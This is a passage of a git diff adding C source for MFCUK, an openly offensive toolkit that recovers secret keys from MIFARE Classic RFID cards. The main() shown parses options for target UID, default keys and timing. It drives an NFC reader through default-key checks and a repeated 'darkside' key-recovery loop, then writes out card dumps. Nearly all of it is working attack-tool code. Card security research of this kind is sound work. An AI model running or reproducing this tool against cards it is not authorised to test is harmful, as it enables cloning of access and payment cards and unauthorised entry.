first default keys to verify (maybe you are lucky)\n"); + fprintf(fp, "-d key - specifies additional full 12 hex-digits default key to be checked. Multiple -d options can be used for more additional keys\n"); + fprintf(fp, "-s - miliseconds to sleep for DROP FIELD\n"); + fprintf(fp, "-S - miliseconds to sleep for CONSTANT DELAY\n"); + fprintf(fp, "\n"); + return; +} + +void print_identification() +{ + fprintf(stdout, "\n"); + fprintf(stdout, "%s - %s\n", PACKAGE_NAME, PACKAGE_VERSION); + fprintf(stdout, "%s - %s\n", BUILD_NAME, BUILD_VERSION); + fprintf(stdout, "by %s\n", BUILD_AUTHOR); + fprintf(stdout, "\n"); +} + + + +void print_mifare_tag_actions(const char *title, mifare_tag *tag) +{ + uint32_t i, max_blocks, trailer_block; + byte_t bTagType; + mifare_block_trailer *ptr_trailer = NULL; + + if (!tag) + { + return; + } + + bTagType = tag->amb->mbm.btUnknown; + + if ( !IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType) ) + { + return; + } + + printf("%s - UID %02x %02x %02x %02x - TYPE 0x%02x (%s)\n", + title, tag->amb->mbm.abtUID[0], tag->amb->mbm.abtUID[1], tag->amb->mbm.abtUID[2], tag->amb->mbm.abtUID[3], bTagType, + (IS_MIFARE_CLASSIC_1K(bTagType)?(MIFARE_CLASSIC_1K_NAME):(IS_MIFARE_CLASSIC_4K(bTagType)?(MIFARE_CLASSIC_4K_NAME):(MIFARE_CLASSIC_UNKN_NAME))) + ); + printf("---------------------------------------------------------------------\n"); + printf("Sector\t| Key A\t|ACTS | RESL\t| Key B\t|ACTS | RESL\n"); + printf("---------------------------------------------------------------------\n"); + + if ( IS_MIFARE_CLASSIC_1K(tag->amb->mbm.btUnknown) ) + { + max_blocks = MIFARE_CLASSIC_1K_MAX_BLOCKS; + } + else + { + max_blocks = MIFARE_CLASSIC_4K_MAX_BLOCKS; + } + + for (i=0; iabtKeyA[0], ptr_trailer->abtKeyA[1], ptr_trailer->abtKeyA[2], + ptr_trailer->abtKeyA[3], ptr_trailer->abtKeyA[4], ptr_trailer->abtKeyA[5], + (ptr_trailer->abtAccessBits[ACTIONS_KEY_A] & ACTIONS_VERIFY)?'V':'.', + (ptr_trailer->abtAccessBits[ACTIONS_KEY_A] & ACTIONS_RECOVER)?'R':'.', + (ptr_trailer->abtAccessBits[RESULTS_KEY_A] & ACTIONS_VERIFY)?'V':'.', + (ptr_trailer->abtAccessBits[RESULTS_KEY_A] & ACTIONS_RECOVER)?'R':'.', + ptr_trailer->abtKeyB[0], ptr_trailer->abtKeyB[1], ptr_trailer->abtKeyB[2], + ptr_trailer->abtKeyB[3], ptr_trailer->abtKeyB[4], ptr_trailer->abtKeyB[5], + (ptr_trailer->abtAccessBits[ACTIONS_KEY_B] & ACTIONS_VERIFY)?'V':'.', + (ptr_trailer->abtAccessBits[ACTIONS_KEY_B] & ACTIONS_RECOVER)?'R':'.', + (ptr_trailer->abtAccessBits[RESULTS_KEY_B] & ACTIONS_VERIFY)?'V':'.', + (ptr_trailer->abtAccessBits[RESULTS_KEY_B] & ACTIONS_RECOVER)?'R':'.' + ); + + // Go beyond current trailer block, i.e. go to next sector + i = trailer_block; + } + + printf("\n"); + + return; +} + +bool mfcuk_darkside_reset_advanced(nfc_device_t* pnd) +{ + if ( !nfc_configure(pnd,NDO_HANDLE_CRC,true) ) + { + //fprintf(stderr, "ERROR: configuring NDO_HANDLE_CRC\n"); + //return false; + } + + if ( !nfc_configure(pnd,NDO_HANDLE_PARITY,true) ) + { + //fprintf(stderr, "ERROR: configuring NDO_HANDLE_PARITY\n"); + //return false; + } + + return true; +} + +bool mfcuk_darkside_select_tag(nfc_device_t* pnd, int iSleepAtFieldOFF, int iSleepAfterFieldON, nfc_target_info_t* ti) +{ + nfc_target_info_t ti_tmp; + + if ( !pnd || !ti ) + { + fprintf(stderr, "ERROR: some parameter are NULL\n"); + return false; + } + + // Drop the field for a while, so the card can reset + if ( !nfc_configure(pnd,NDO_ACTIVATE_FIELD,false) ) + { + fprintf(stderr, "ERROR: configuring NDO_ACTIVATE_FIELD\n"); + return false; + } + + // {WPMCC09} 2.4. Tag nonces: "drop the field (for approximately 30us) to discharge all capacitors" + sleep(iSleepAtFieldOFF); + + // Let the reader only try once to find a tag + if ( !nfc_configure(pnd,NDO_INFINITE_SELECT,false) ) + { + fprintf(stderr, "ERROR: configuring NDO_INFINITE_SELECT\n"); + return false; + } + + // Configure the CRC and Parity settings + if ( !nfc_configure(pnd,NDO_HANDLE_CRC,true) ) + { + fprintf(stderr, "ERROR: configuring NDO_HANDLE_CRC\n"); + return false; + } + + if ( !nfc_configure(pnd,NDO_HANDLE_PARITY,true) ) + { + fprintf(stderr, "ERROR: configuring NDO_HANDLE_PARITY\n"); + return false; + } + + // Enable field so more power consuming cards can power themselves up + if ( !nfc_configure(pnd,NDO_ACTIVATE_FIELD,true) ) + { + fprintf(stderr, "ERROR: configuring NDO_ACTIVATE_FIELD\n"); + return false; + } + + // Switch the field back on, and wait for a constant amount of time before authenticating + sleep(iSleepAfterFieldON); + + // Poll for a ISO14443A (MIFARE) tag + if (!nfc_initiator_select_tag(pnd,NM_ISO14443A_106,NULL,0,&ti_tmp)) + { + fprintf(stderr, "ERROR: connecting to MIFARE Classic tag\n"); + //nfc_disconnect(pnd); + return false; + } + + memcpy( ti, &ti_tmp, sizeof(ti_tmp) ); + + return true; +} + +int main(int argc, char* argv[]) +{ + // getopt related + int ch = 0; + char strOutputFilename[256] = {0}; // Initialize with '\0' character + //char extendedDescription[MFCUK_EXTENDED_DESCRIPTION_LENGTH] = {0}; // Initialize with '\0' character + byte_t keyOpt[MIFARE_CLASSIC_KEY_BYTELENGTH] = {0}; + byte_t uidOpt[MIFARE_CLASSIC_UID_BYTELENGTH] = {0}; + mifare_block_trailer *ptr_trailer = NULL; + mifare_block_trailer *ptr_trailer_dump = NULL; + int sector = 0; + uint32_t block = 0; + byte_t action = 0; + byte_t specific_key_type = 0; + byte_t max_sectors = MIFARE_CLASSIC_4K_MAX_SECTORS; + // Defaults, can be overriden by -S and -s command line arguments + int iSleepAtFieldOFF = SLEEP_AT_FIELD_OFF; // modified with argument -S + int iSleepAfterFieldON = SLEEP_AFTER_FIELD_ON; // modified with argument -s + + char *token = NULL; + char *sep = ":"; + char *str = NULL; + int iter = 0; + + // libnfc related + nfc_device_t* pnd; + nfc_target_info_t ti; + + // mifare and crapto related + uint32_t uiBlock = 0;//14; + uint64_t ui64Key = 0xc1e51c63b8f5;//0xffffffffffff; + uint32_t uiErrCode = MFCUK_SUCCESS; + uint64_t ui64KeyRecovered; + mifare_tag_ext dump_loaded_tag; + mifare_tag_ext tag_on_reader; + mifare_tag_ext tag_recover_verify; + mifare_key_type bKeyType = keyA; + + // various related + int i, j, k; + size_t st; + int numDefKeys = mfcuk_default_keys_num; + byte_t (*current_default_keys)[MIFARE_CLASSIC_KEY_BYTELENGTH]; + + // At runtime, duplicate the mfcuk_default_keys[], and then add at it's bottom the default keys specified via -d command line options + if ( !(current_default_keys = malloc(numDefKeys * MIFARE_CLASSIC_KEY_BYTELENGTH)) ) + { + fprintf(stderr, "ERROR: failed to allocate memory for current_default_keys\n"); + return 1; + } + + // Init the structs + memcpy( current_default_keys, mfcuk_default_keys, numDefKeys * MIFARE_CLASSIC_KEY_BYTELENGTH); + memset( &dump_loaded_tag, 0, sizeof(dump_loaded_tag) ); + memset( &tag_on_reader, 0, sizeof(tag_on_reader) ); + memset( &tag_recover_verify, 0, sizeof(tag_recover_verify) ); + + tag_recover_verify.type = MIFARE_CLASSIC_4K; + tag_recover_verify.tag_basic.amb[0].mbm.btUnknown = MIFARE_CLASSIC_4K; + + // "Sort-of" initializing the entries + memset((void *)arrSpoofEntries, 0, sizeof(arrSpoofEntries)); + + // MAIN ( broken-brain (: ) logic of the tool + // --------------------------------------- + clear_screen(); + + print_identification(); + + if (argc < 2) + { + print_usage(stdout); + return 1; + } + + // OPTION PROCESSING BLOCK + // TODO: for WIN32 figure out how to use unistd/posix-compatible Gnu.Getopt.dll (http://getopt.codeplex.com) + // For WIN32 using VERY limited (modified) Xgetopt (http://www.codeproject.com/KB/cpp/xgetopt.aspx) + while ((ch = getopt(argc, argv, "htTDi:I:o:O:V:R:S:s:v:M:U:d:n:")) != -1) // -1 or EOF + { + switch(ch) + { + // Name for the extended dump + case 'n': + strncpy( tag_recover_verify.description, optarg, sizeof(tag_recover_verify.description) ); + break; + // Additional default key option + case 'd': + memset(&keyOpt, 0, MIFARE_CLASSIC_KEY_BYTELENGTH); + + if ( strlen(optarg) != (MIFARE_CLASSIC_KEY_BYTELENGTH*2) ) + { + // accept only 12 hex digits (fully qualified) Mifare Classic keys + fprintf(stderr, "WARN: invalid length key argument (%s)\n", optarg); + break; + } + + for (st=0; st < MIFARE_CLASSIC_KEY_BYTELENGTH; st++) + { + if ( !is_hex(optarg[2 * st]) || !is_hex(optarg[2 * st + 1]) ) + { + // bad input hex string + fprintf(stderr, "WARN: invalid hex chars in key argument (%s)\n", optarg); + break; + } + keyOpt[st] = hex2bin(optarg[2 * st], optarg[2 * st + 1]); + } + + // Increase number of keys + numDefKeys++; + + // Also increase the memory to hold one more key. Hope not many keys will be specified, + // so realloc() will not impact performance and will not fragment memory + if ( !(current_default_keys = realloc(current_default_keys, numDefKeys * MIFARE_CLASSIC_KEY_BYTELENGTH)) ) + { + fprintf(stderr, "ERROR: failed to reallocate memory for current_default_keys\n"); + return 1; + } + + memcpy( &(current_default_keys[numDefKeys-1]), &keyOpt, MIFARE_CLASSIC_KEY_BYTELENGTH); + + // Mark current option as specified (though not used in any checks) + bfOpts[ch] = true; + + // Force the use of default keys + bfOpts['D'] = true; + + break; + // Verbose option and level + case 'v': + if ( !(i = atoi(optarg)) || (i < 1) ) + { + fprintf(stderr, "WARN: non-supported verbose-level value (%s)\n", optarg); + } + else + { + verboseLevel = i; + bfOpts[ch] = true; + } + break; + case 'M': + // Mifare Classic type option + if ( !(i = atoi(optarg)) || (!IS_MIFARE_CLASSIC_1K(i) && !IS_MIFARE_CLASSIC_4K(i)) ) + { + fprintf(stderr, "WARN: non-supported tag type value (%s)\n", optarg); + } + else + { + tag_recover_verify.type = i; + tag_recover_verify.tag_basic.amb[0].mbm.btUnknown = i; + bfOpts[ch] = true; + } + break; + case 'U': + // UID option + if ( strlen(optarg) != (MIFARE_CLASSIC_UID_BYTELENGTH*2) ) + { + // accept only 8 hex digits (fully qualified) Mifare Classic keys + fprintf(stderr, "WARN: invalid length UID argument (%s)\n", optarg); + break; + } + + for (st=0; st < MIFARE_CLASSIC_UID_BYTELENGTH; st++) + { + if ( !is_hex(optarg[2 * st]) || !is_hex(optarg[2 * st + 1]) ) + { + // bad input hex string + fprintf(stderr, "WARN: invalid hex chars in key argument (%s)\n", optarg); + break; + } + uidOpt[st] = hex2bin(optarg[2 * st], optarg[2 * st + 1]); + } + + if (st >= MIFARE_CLASSIC_UID_BYTELENGTH) + { + tag_recover_verify.uid = swap_endian32(uidOpt); + memcpy( tag_recover_verify.tag_basic.amb[0].mbm.abtUID, uidOpt, MIFARE_CLASSIC_UID_BYTELENGTH ); + bfOpts[ch] = true; + } + break; + case 'S': + // Sleep for "AT FIELD OFF" + if ( !(i = atoi(optarg)) || (i < 1) || (i > 10000) ) + { + fprintf(stderr, "WARN: non-supported sleep-AT-field OFF value (%s)\n", optarg); + } + else + { + iSleepAtFieldOFF = i; + bfOpts[ch] = true; + } + break; + case 's': + // Sleep for "AFTER FIELD ON" + if ( !(i = atoi(optarg)) || (i < 1) || (i > 10000) ) + { + fprintf(stderr, "WARN: non-supported sleep-AFTER-field ON value (%s)\n", optarg); + } + else + { + iSleepAfterFieldON = i; + bfOpts[ch] = true; + } + break; + case 'D': + // Use DEFAULT KEYS for verification of sectors and key-types marked as ACTIONS_VERIFY + bfOpts[ch] = true; + break; + case 'R': + case 'V': + // Recover or Verify + action = (ch=='R')?ACTIONS_RECOVER:ACTIONS_VERIFY; + + token = NULL; + str = optarg; + iter = 0; + while ( (token = strtok(str, sep)) && (iter < 3) ) + { + switch(iter) + { + // Here is the sector argument + case 0: + // BUG: if sector is 0, atoi() returns 0 (ok); if sector is non-numeric, atoi() returns also 0 (not-ok) - cannot differentiate + if ( !(sector = atoi(token)) && (token[0] != '0') ) + { + fprintf(stderr, "WARN: non-numeric sector argument (%s)\n", token); + return 1; + } + + // We don't know apriori whether loaded dump or the card on the reader is 1K or 4K, so assume validity for 4K + if ( (sector != -1) && !is_valid_sector(MIFARE_CLASSIC_4K, sector) ) + { + fprintf(stderr, "WARN: invalid sector argument (%d)\n", sector); + return 1; + } + else + { + for (i = ( (sector==-1)?(0):(sector) ); i < ( (sector==-1)?(MIFARE_CLASSIC_4K_MAX_SECTORS):(sector+1) ); i++) + { + // TODO: proper error handling for block and ptr_trailer + block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i); + ptr_trailer = (mifare_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); + + ptr_trailer->abtAccessBits[ACTIONS_KEY_A] |= action; + ptr_trailer->abtAccessBits[ACTIONS_KEY_B] |= action; + } + } + break; + // Here is the key-type argument + // after case 0, we can assume sector is a safe and valid sector + case 1: + switch(token[0]) + { + case 'A': + case 'B': + specific_key_type = keyA + (token[0] - 'A'); + + // Invalidate all the opposite keys + for (i = ( (sector==-1)?(0):(sector) ); i < ( (sector==-1)?(MIFARE_CLASSIC_4K_MAX_SECTORS):(sector+1) ); i++) + { + // TODO: proper error handling for block and ptr_trailer + block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i); + ptr_trailer = (mifare_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); + + ptr_trailer->abtAccessBits[ACTIONS_KEY_B * (1 - (token[0]-'A'))] &= (~action); + } + break; + default: + specific_key_type = 0; + + // Validate all the key-types + for (i = ( (sector==-1)?(0):(sector) ); i < ( (sector==-1)?(MIFARE_CLASSIC_4K_MAX_SECTORS):(sector+1) ); i++) + { + // TODO: proper error handling for block and ptr_trailer + block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i); + ptr_trailer = (mifare_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); + + ptr_trailer->abtAccessBits[ACTIONS_KEY_A] |= action; + ptr_trailer->abtAccessBits[ACTIONS_KEY_B] |= action; + } + break; + } + break; + // Here is the key argument + // after case 0, we can assume sector is a safe and valid sector + case 2: + // Recovery does not need a key + if (ch == 'R') + { + break; + } + + memset(&keyOpt, 0, MIFARE_CLASSIC_KEY_BYTELENGTH); + + if ( strlen(token) != (MIFARE_CLASSIC_KEY_BYTELENGTH*2) ) + { + // accept only 12 hex digits (fully qualified) Mifare Classic keys + fprintf(stderr, "WARN: invalid length key argument (%s)\n", token); + break; + } + + for (st=0; st < MIFARE_CLASSIC_KEY_BYTELENGTH; st++) + { + if ( !is_hex(token[2 * st]) || !is_hex(token[2 * st + 1]) ) + { + // bad input hex string + fprintf(stderr, "WARN: invalid hex chars in key argument (%s)\n", token); + break; + } + keyOpt[st] = hex2bin(token[2 * st], token[2 * st + 1]); + } + + for (i = ( (sector==-1)?(0):(sector) ); i < ( (sector==-1)?(MIFARE_CLASSIC_4K_MAX_SECTORS):(sector+1) ); i++) + { + // TODO: proper error handling for block and ptr_trailer + block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i); + ptr_trailer = (mifare_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); + + if ( !specific_key_type || specific_key_type == keyA ) + { + memcpy( &(ptr_trailer->abtKeyA[0]), keyOpt, sizeof(keyOpt)); + ptr_trailer->abtAccessBits[ACTIONS_KEY_A] |= ACTIONS_KEYSET; + } + + if ( !specific_key_type || specific_key_type == keyB ) + { + memcpy( &(ptr_trailer->abtKeyB[0]), keyOpt, sizeof(keyOpt)); + ptr_trailer->abtAccessBits[ACTIONS_KEY_B] |= ACTIONS_KEYSET; + } + } + break; + // We do not support any other arguments for now for -R/-V option + default: + break; + } + str = NULL; + iter++; + } + break; + case 'i': + // Input simple dump file of type mifare_tag, Options i and I are autoexclusive + if (!bfOpts['i'] && !bfOpts['I']) + { + if ( !mfcuk_load_tag_dump(optarg, &(dump_loaded_tag.tag_basic)) ) + { + fprintf(stderr, "WARN: Unable to load tag dump from '%s'\n", optarg); + } + else + { + bfOpts[ch] = true; + } + } + break; + case 'I': + // // Input extended dump file of type mifare_tag_ext, Options i and I are autoexclusive + if (!bfOpts['i'] && !bfOpts['I']) + { + if ( !mfcuk_load_tag_dump_ext(optarg, &(dump_loaded_tag)) ) + { + fprintf(stderr, "WARN: Unable to load tag dump from '%s'\n", optarg); + } + else + { + bfOpts[ch] = true; + } + } + break; + case 'o': + case 'O': + // // Output simple/extended dump file, Options o and O are autoexclusive + if (!bfOpts['o'] && !bfOpts['O']) + { + strncpy( strOutputFilename, optarg, sizeof(strOutputFilename) ); + bfOpts[ch] = true; + } + break; + // Run just test-cases for verifying the correctnes of is_ and get_ block/sector functions + case 't': + // Requested test of Mifare Classic 1K Blocks and Sectors functionality + test_mifare_classic_blocks_sectors_functions(MIFARE_CLASSIC_1K); + bfOpts[ch] = true; + break; + case 'T': + // Requested test of Mifare Classic 4K Blocks and Sectors functionality + test_mifare_classic_blocks_sectors_functions(MIFARE_CLASSIC_4K); + bfOpts[ch] = true; + break; + case 'h': + // Help screen + print_usage(stdout); + return 0; + break; + case '?': + default: + // Help screen, on error output + fprintf(stderr, "ERROR: Unknown option %c\n\n", ch); + print_usage(stderr); + return 1; + break; + } + } + + // If tests were requested, exit + if ( bfOpts['t'] || bfOpts['T'] ) + { + return 0; + } + + // In case default keys requested (and maybe more specified on command line), + // print the default keys which will be used + if ( bfOpts['D'] ) + { + if (bfOpts['v'] && (verboseLevel > 0)) + { + printf("DEFAULT KEYS:\n"); + + // Skip the key at index 0, since it is initially 0x0 and is reserved for the loaded dump key + for (i=1; i 0)) + { + print_mifare_tag_keys("LOADED TAG DUMP", &(dump_loaded_tag.tag_basic)); + } + + // Overwrite from the loaded dump only the keys for sectors and keys which were not specified on command line + for (i=0; i < MIFARE_CLASSIC_4K_MAX_SECTORS; i++) + { + // TODO: proper error handling for block and ptr_trailer + block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i); + ptr_trailer = (mifare_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); + ptr_trailer_dump = (mifare_block_trailer *) ((char *)(&dump_loaded_tag.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); + + // If no command line keyA is set, copy from loaded dump + if ( !(ptr_trailer->abtAccessBits[ACTIONS_KEY_A] & ACTIONS_KEYSET) ) + { + memcpy( &(ptr_trailer->abtKeyA[0]), &(ptr_trailer_dump->abtKeyA[0]), MIFARE_CLASSIC_KEY_BYTELENGTH); + // TODO: think if to make this sector ACTIONS_KEYSET or introduce a new value ACTIONS_KEYLOAD + } + + // If no command line keyB is set, copy from loaded dump + if ( !(ptr_trailer->abtAccessBits[ACTIONS_KEY_B] & ACTIONS_KEYSET) ) + { + memcpy( &(ptr_trailer->abtKeyB[0]), &(ptr_trailer_dump->abtKeyB[0]), MIFARE_CLASSIC_KEY_BYTELENGTH); + // TODO: think if to make this sector ACTIONS_KEYSET or introduce a new value ACTIONS_KEYLOAD + } + } + + // If no command line UID supplied and not tag-type specified, copy the manufacturer block from the loaded dump + if ( !bfOpts['U'] && !bfOpts['M'] ) + { + ptr_trailer = (mifare_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (0 * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); + ptr_trailer_dump = (mifare_block_trailer *) ((char *)(&dump_loaded_tag.tag_basic) + (0 * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); + + memcpy( ptr_trailer, ptr_trailer_dump, sizeof(*ptr_trailer) ); + tag_recover_verify.type = tag_recover_verify.tag_basic.amb[0].mbm.btUnknown; + tag_recover_verify.uid = swap_endian32(tag_recover_verify.tag_basic.amb[0].mbm.abtUID); + } + } + + // READER INITIALIZATION BLOCK + // Try to open the NFC reader + pnd = nfc_connect(NULL); + + if (pnd == NULL) + { + fprintf(stderr, "ERROR: connecting to NFC reader\n"); + return 1; + } + + if ( !nfc_initiator_init(pnd) ) + { + fprintf(stderr, "ERROR: initializing NFC reader: %s\n", pnd->acName); + nfc_disconnect(pnd); + return 1; + } + + printf("\nINFO: Connected to NFC reader: %s\n\n", pnd->acName); + + // Select tag and get tag info + if ( !mfcuk_darkside_select_tag(pnd, iSleepAtFieldOFF, iSleepAfterFieldON, &ti) ) + { + fprintf(stderr, "ERROR: selecting tag on the reader %s\n", pnd->acName); + nfc_disconnect(pnd); + return 1; + } + + mfcuk_darkside_reset_advanced(pnd); + + // Tag on the reader type + tag_on_reader.type = ti.nai.btSak; + tag_on_reader.tag_basic.amb[0].mbm.btUnknown = ti.nai.btSak; + + // No command line tag type specified, take it from the tag on the reader + if ( !bfOpts['M'] ) + { + tag_recover_verify.type = ti.nai.btSak; + tag_recover_verify.tag_basic.amb[0].mbm.btUnknown = ti.nai.btSak; + } + + // Tag on the reader UID + tag_on_reader.uid = swap_endian32(ti.nai.abtUid); + memcpy( tag_on_reader.tag_basic.amb[0].mbm.abtUID, ti.nai.abtUid, MIFARE_CLASSIC_UID_BYTELENGTH); + + // No command line tag UID specified, take it from the tag on the reader + if ( !bfOpts['U'] ) + { + tag_recover_verify.uid = swap_endian32(ti.nai.abtUid); + memcpy( tag_recover_verify.tag_basic.amb[0].mbm.abtUID, ti.nai.abtUid, MIFARE_CLASSIC_UID_BYTELENGTH); + } + + if (bfOpts['v'] && (verboseLevel > 0)) + { + print_mifare_tag_actions("\n\nINITIAL ACTIONS MATRIX", &(tag_recover_verify.tag_basic)); + } + + max_sectors = (IS_MIFARE_CLASSIC_1K(tag_recover_verify.type)?MIFARE_CLASSIC_1K_MAX_SECTORS:MIFARE_CLASSIC_4K_MAX_SECTORS); + + // VERIFY KEYS CODE-BLOCK + printf("\nVERIFY: "); + for (k = keyA; k <= keyB; k++) + { + // Print key-type for which we are looping the sectors for verification + printf("\n\tKey %c sectors:", 'B'-(keyB-k)); + + for (i=0; iabtAccessBits[action_byte] & ACTIONS_VERIFY) && !(ptr_trailer->abtAccessBits[result_byte] & ACTIONS_VERIFY); j++) + { + // TODO: think of proper mechanism. this is temporary workaround in cases when reader hangs + mfcuk_save_tag_dump("./snapshot.mfd", &(tag_recover_verify.tag_basic)); + + // The first spot in the current_default_keys, is reserved to the key from the loaded dump or from command line + // If not present (dump or command line), the key of this key-type k for current sector i will be 000000000000 + if (j == 0) + { + memcpy( &(current_default_keys[0][0]), (k==keyA)?(&(ptr_trailer->abtKeyA[0])):((&(ptr_trailer->abtKeyB[0]))), MIFARE_CLASSIC_KEY_BYTELENGTH ); + } + + if ( !mfcuk_key_arr_to_uint64( &(current_default_keys[j][0]), &crntVerifKey) ) + { + fprintf(stderr, "WARN: mfcuk_key_arr_to_uint64() failed, verification key will be %012llx\n", crntVerifKey); + } + + /* + // TODO: make this kind of key verification as part of option -a - advanced verification of keys with crapto1 rollback for double verification + // TEST + nfc_disconnect(pnd); + + // Try to open the NFC reader + pnd = nfc_connect(NULL); + + if (pnd == NULL) + { + fprintf(stderr, "ERROR: connecting to NFC reader\n"); + return 1; + } + + if ( !nfc_initiator_init(pnd) ) + { + fprintf(stderr, "ERROR: initializing NFC reader: %s\n", pnd->acName); + nfc_disconnect(pnd); + return 1; + } + // TEST + + uiErrCode = mfcuk_verify_key_block(pnd, crntVerifUID, crntVerifKey, k, crntVerifTagType, block); + + if ( uiErrCode == MFCUK_SUCCESS ) + { + // Mark current key-type as verified + ptr_trailer->abtAccessBits[result_byte] |= ACTIONS_VERIFY; + + // Copy default key on top of dump only in case default keys option was specified in command line and the default key matched + memcpy( (k==keyA)?(ptr_trailer->abtKeyA):(ptr_trailer->abtKeyB), current_default_keys[j], MIFARE_CLASSIC_KEY_BYTELENGTH); + } + else + { + fprintf(stderr, "ERROR: AUTH sector %d, block %d, key %012llx, key-type 0x%02x, error code 0x%02x\n", i, block, crntVerifKey, k, uiErrCode); + } + + // Reset advanced settings + mfcuk_darkside_reset_advanced(pnd); + */ + + memcpy(mp.mpa.abtUid, tag_recover_verify.tag_basic.amb[0].mbm.abtUID, MIFARE_CLASSIC_UID_BYTELENGTH); + memcpy(mp.mpa.abtKey, &(current_default_keys[j][0]), MIFARE_CLASSIC_KEY_BYTELENGTH); + + if ( !nfc_initiator_select_tag(pnd, NM_ISO14443A_106, NULL, 0, &ti) ) + { + fprintf(stderr, "ERROR: tag was removed or cannot be selected\n"); + } + + if ( !nfc_initiator_mifare_cmd(pnd, k, block, &mp) ) + { + fprintf(stderr, "ERROR: AUTH sector %d, block %d, key %012llx, key-type 0x%02x, error code 0x%02x\n", i, block, crntVerifKey, k, uiErrCode); + } + else + { + // Mark current key-type as verified + ptr_trailer->abtAccessBits[result_byte] |= ACTIONS_VERIFY; + + // Copy default key on top of dump only in case default keys option was specified in command line and the default key matched + memcpy( (k==keyA)?(ptr_trailer->abtKeyA):(ptr_trailer->abtKeyB), current_default_keys[j], MIFARE_CLASSIC_KEY_BYTELENGTH); + } + } // for (j = 0; (j < crntNumVerifKeys); j++) + } // for (i=0; i 0) ) + { + print_mifare_tag_actions("\n\nACTION RESULTS MATRIX AFTER VERIFY", &(tag_recover_verify.tag_basic)); + } + + // RECOVER KEYS CODE-BLOCK + printf("\nRECOVER: "); + for (i=0; iabtAccessBits[action_byte] & ACTIONS_RECOVER) && + !(ptr_trailer->abtAccessBits[result_byte] & ACTIONS_VERIFY) && + !(ptr_trailer->abtAccessBits[result_byte] & ACTIONS_RECOVER) + ) + { + // TODO: think of proper mechanism. this is temporary workaround in cases when reader hangs + mfcuk_save_tag_dump("./snapshot.mfd", &(tag_recover_verify.tag_basic)); + + // TEST + // Before starting a new recovery session, disconnect and reconnect to reader and then tag + nfc_disconnect(pnd); + + // Try to open the NFC reader + pnd = nfc_connect(NULL); + + if (pnd == NULL) + { + fprintf(stderr, "ERROR: connecting to NFC reader\n"); + return 1; + } + + if ( !nfc_initiator_init(pnd) ) + { + fprintf(stderr, "ERROR: initializing NFC reader: %s\n", pnd->acName); + nfc_disconnect(pnd); + return 1; + } + // TEST + + // Every new recovery session needs this "sort-of" initializing the entries + memset((void *)arrSpoofEntries, 0, sizeof(arrSpoofEntries)); + numSpoofEntries = 0; + numAuthAttempts = 0; + + // Recovery loop for current key-type of current sector + do + { + mfcuk_darkside_select_tag(pnd, iSleepAtFieldOFF, iSleepAfterFieldON, &ti); + + // Print usefull/useless info (sort-of "Let me entertain you!") + if ( bfOpts['v'] && (verboseLevel > 2) ) + { + printf("\n-----------------------------------------------------\n"); + printf("Let me entertain you!\n"); + printf(" uid: %08x\n", tag_recover_verify.uid); + printf(" type: %02x\n", tag_recover_verify.type); + printf(" key: %012llx\n", crntRecovKey); + printf(" block: %02x\n", block); + printf("diff Nt: %d\n", numSpoofEntries); + printf(" auths: %d\n", numAuthAttempts); + printf("-----------------------------------------------------\n"); + } + + uiErrCode = mfcuk_key_recovery_block(pnd, tag_recover_verify.uid, crntRecovKey, j, tag_recover_verify.type, block, &ui64KeyRecovered); + + if ( uiErrCode != MFCUK_OK_KEY_RECOVERED && uiErrCode != MFCUK_SUCCESS && uiErrCode != MFCUK_FAIL_AUTH) + { + fprintf(stderr, "ERROR: mfcuk_key_recovery_block() (error code=0x%02x)\n", uiErrCode); + } + + mfcuk_darkside_reset_advanced(pnd); + + numAuthAttempts++; + } while (uiErrCode != MFCUK_OK_KEY_RECOVERED); + + // Store the recovered key A and mark key A for this sector as recovered in results + ptr_trailer->abtAccessBits[result_byte] |= ACTIONS_RECOVER; + + if ( !mfcuk_key_uint64_to_arr( &ui64KeyRecovered, (j == keyA)?(&(ptr_trailer->abtKeyA[0])):(&(ptr_trailer->abtKeyB[0])) ) ) + { + fprintf(stderr, "WARN: mfcuk_key_uint64_to_arr() failed, recovered key should have been %012llx\n", ui64KeyRecovered); + } + } + } // for (j=keyA; j<=keyB; j++) + } + printf("\n"); + + if ( bfOpts['v'] && (verboseLevel > 0) ) + { + print_mifare_tag_actions("\n\nACTION RESULTS MATRIX AFTER RECOVER", &(tag_recover_verify.tag_basic)); + } + + // DUMP DATA CODE-BLOCK + // TODO: write this code-block + /* + for (i=0; i 1) ) + { + printf("INFO: saved tag dump file to '%s'\n", strOutputFilename); + } + } + } + else if ( bfOpts['O'] ) + { + if ( !mfcuk_save_tag_dump_ext(strOutputFilename, &(tag_recover_verify)) ) + { + fprintf(stderr, "ERROR: could not save extended tag dump to '%s'\n", strOutputFilename); + } + else + { + if ( bfOpts['v'] && (verboseLevel > 1) ) + { + printf("INFO: saved extended tag dump file to '%s'\n", strOutputFilename); + } + } + } + + return 0; +} diff --git a/src/mfcuk_keyrecovery_darkside.h b/src/mfcuk_keyrecovery_darkside.h new file mode 100644 index 0000000..608ae28 --- /dev/null +++ b/src/mfcuk_keyrecovery_darkside.h @@ -0,0 +1,125 @@ +/* + Package: + MiFare Classic Universal toolKit (MFCUK) + + Package version: + 0.1 + + Filename: + mfcuk_keyrecovery_darkside.h + + Description: + MFCUK DarkSide Key Recovery specific typedefs and defines + + Contact, bug-reports: + http://andreicostin.com/ + mailto:zveriu@gmail.com + + License: + GPL2 (see below), Copyright (C) 2009, Andrei Costin + + * @file 